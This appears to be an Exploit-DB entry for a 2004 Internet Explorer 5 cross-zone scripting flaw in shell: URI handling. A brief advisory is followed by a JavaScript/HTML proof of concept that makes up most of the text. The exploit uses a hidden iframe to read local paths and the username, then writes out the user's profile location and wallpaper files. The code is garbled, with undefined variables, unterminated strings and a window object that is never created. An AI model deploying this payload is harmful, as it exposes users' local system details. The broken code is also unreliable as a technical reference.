Microsoft Internet Explorer 5 Shell: IFrame Cross-Zone Scripting Vulnerability 1

ID EDB-ID:23678
Type exploitdb
Reporter Cheng Peng Su
Modified 2004-02-10T00:00:00


Microsoft Internet Explorer 5 Shell: IFrame Cross-Zone Scripting Vulnerability (1). Remote exploit for windows platform


It has been alleged that Microsoft Internet Explorer is prone to a weakness that may potentially allow for the execution of hostile script code in the context of the My Computer Zone. This issue is related to how shell: URIs are handled by the browser. It should also be noted that shell: URIs may be used to reference local content in the same manner as file:// URIs.

Update: Although unconfirmed, further reports indicate that MSN messenger version 6.2.0137, Microsoft Word, Outlook 2003, and Outlook Express may also potentially provide exploitation vectors for this vulnerability.

<body onload=setTimeout("exploit()",4*100);>
<iframe id="Target" width="0" height="0"
src="shell:profile\Desktop.ini" name="Target" scrolling="yes">
<SCRIPT language=JavaScript>
function exploit(){
loc=new String(Target.location);
var len=loc.length
var n=loc.indexOf("Settings")+9;
var m=loc.indexOf("System32");
preuser=new String(loc.substring(n,len));
user=new String(preuser.substring(0,p));
winloc=new String(loc.substring(6,m));
rootdrive=new String(winloc.substring(0,q+1));"");
targetwin.document.write("<b>Username :</b> "+user+"<br>");
targetwin.document.write("<b>root drive :</b> "+rootdrive+"<br>")
targetwin.document.write("<b>location of windows folder :</b>
targetwin.document.write("<b>location of user profile
:</b>"+rootdrive+"Documents and Settings\\"+user+"\\");
targetwin.document.write("<br><br><b>Wallpaper :</b><br><br><img
border=0 src='"+rootdrive+"Documents and Settings\\"+user+"\\Local
Settings\\Application Data\\Microsoft\\Wallpaper1.bmp' width=30%
targetwin.document.write("<br><br><b>internet explorer wallpaper
:</b><br><br><img border=0 src='"+rootdrive+"Documents and
Settings\\"+user+"\\Application Data\\Microsoft\\Internet
Explorer\\Internet Explorer Wallpaper.bmp' width=30%